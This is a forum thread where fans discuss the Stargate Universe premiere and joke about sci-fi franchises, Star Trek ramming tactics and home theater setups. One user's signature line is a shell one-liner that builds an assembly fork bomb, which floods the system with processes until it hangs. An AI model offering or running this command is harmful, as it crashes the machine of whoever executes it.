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Stargate Universe
Last night I finally scraped together the two hours to watch the premiere of Stargate Universe. Since the last two series really ran their course and deserved to end, I was skeptical. At first blush it appears that the show is just Atlantis + Voyager, shot in the documentary style that practically every sci-fi show since Firefly uses. But I enjoyed it, and figured we should have a place to discuss it. The TV landscape needs more real, good sci-fi: there's not a lot of it left, even on the moronically renamed Syfy channel. But maybe this one will have a solid season. I just hope that future episodes don't have so many commercials. I couldn't believe how many ads appeared during this thing.
Stargate: Why simply beat a dead horse where it lay, when you can transport it anywhere in the universe?
I'm done with sigs. Sigs are lame.
I liked the show... but they they still need some thinking writers.
They don't need writers. What they need is more lens flares. You can't have a Sci-Fi show without them, ya know?
I want peace on earth and goodwill toward man.
We are the United States Government! We don't do that sort of thing.
An effeminate pedophile?
Nothing new, just a couple old plot devices shaken together. Still might be worth the watch; we'll just have to wait and see.
If Firefly had been called Starfly it'd have suceeded
Look at the 3 biggest Sci-fi franchises.
Star Trek (5 TV Spin-offs, 11 Movies, countless books, 40 years old)
Star Wars (7 Movies, 1 TV series, countless books too, 30 years old)
StarGate (1 Movie, 2 DVD Movies, 3 TV Spin-offs, lots of books too, 15 years old)
Then you have BattleSTAR Galactica, 2 Spin-offs and one in the works, also 30 years old.
Next time you're pitching a script, put STAR in the title name somewhere, it'll go far!
It pays to be obvious, especially if you have a reputation for being subtle.
1. Scientists are evil scheming power hungry liars that screw everything up.
2. Politicians are selfless and caring human beings who will gladly give up their lives for you.
3. Thirty year old gamers living with their mom are solving for the Grand Unified Theory by playing Warcraft 18 hours a day.
Well, at least they didn't leave out the patronization.
*sigh* to me it feels like the era of good science fiction is over.
"I don't know that atheists should be considered citizens, nor should they be considered patriots." George HW Bush
I watched a show on Hulu using Chrome and it threw up a blank screen everyonce in a while apologizing for not being able to load a commercial.
I forgave it.
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Picard tried to use ramming speed with the Enterprise on at least one occasion that I remember, one would think they would have realized that would be a hell of a weapon,
I remember captian kirk trying to ram everything he could with the ship....
KIRK:"Scotty! There's a giant hole there, let's RAM The ship in it!"
McCOY:"Dammit Jim you can to around screwing the entire universe!"
Do not look at laser with remaining good eye.
Real home theaters have a 120" plasma. Only the poor people or wanna-be's use a projector. Stop trying to act like you have money. you just look silly when you cant do it right. Bet you don't even have any Crestron gear in your home.
You need to get yourself a girlfriend.
A girlfriend with a MythTV box.
Hey, as long as we're fantasizing here, might as well go for broke...
Are you trying to imply Firefly was some sort of fiction?
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
You can't *really* be asking that in a thread about a show in which a major character was found because he beat a video game, eh?
I half expected the computer to say "You have been recruited by the Star League to defend the Frontier against Xur and the Ko-Dan Armada."
Real home theaters involve a large stage and having the program's actors re-enact the show you're trying to watch. Sometimes they only require a fee to do it, sometimes you have to kidnap them. I have a list of impersonators in case something I'm watching involves somebody who's passed on.
Ever since I upgraded to this system, even my porn collection is considered high art.
"Common sense will be the death of us all"
At least it's not bluediculous or greendiculous.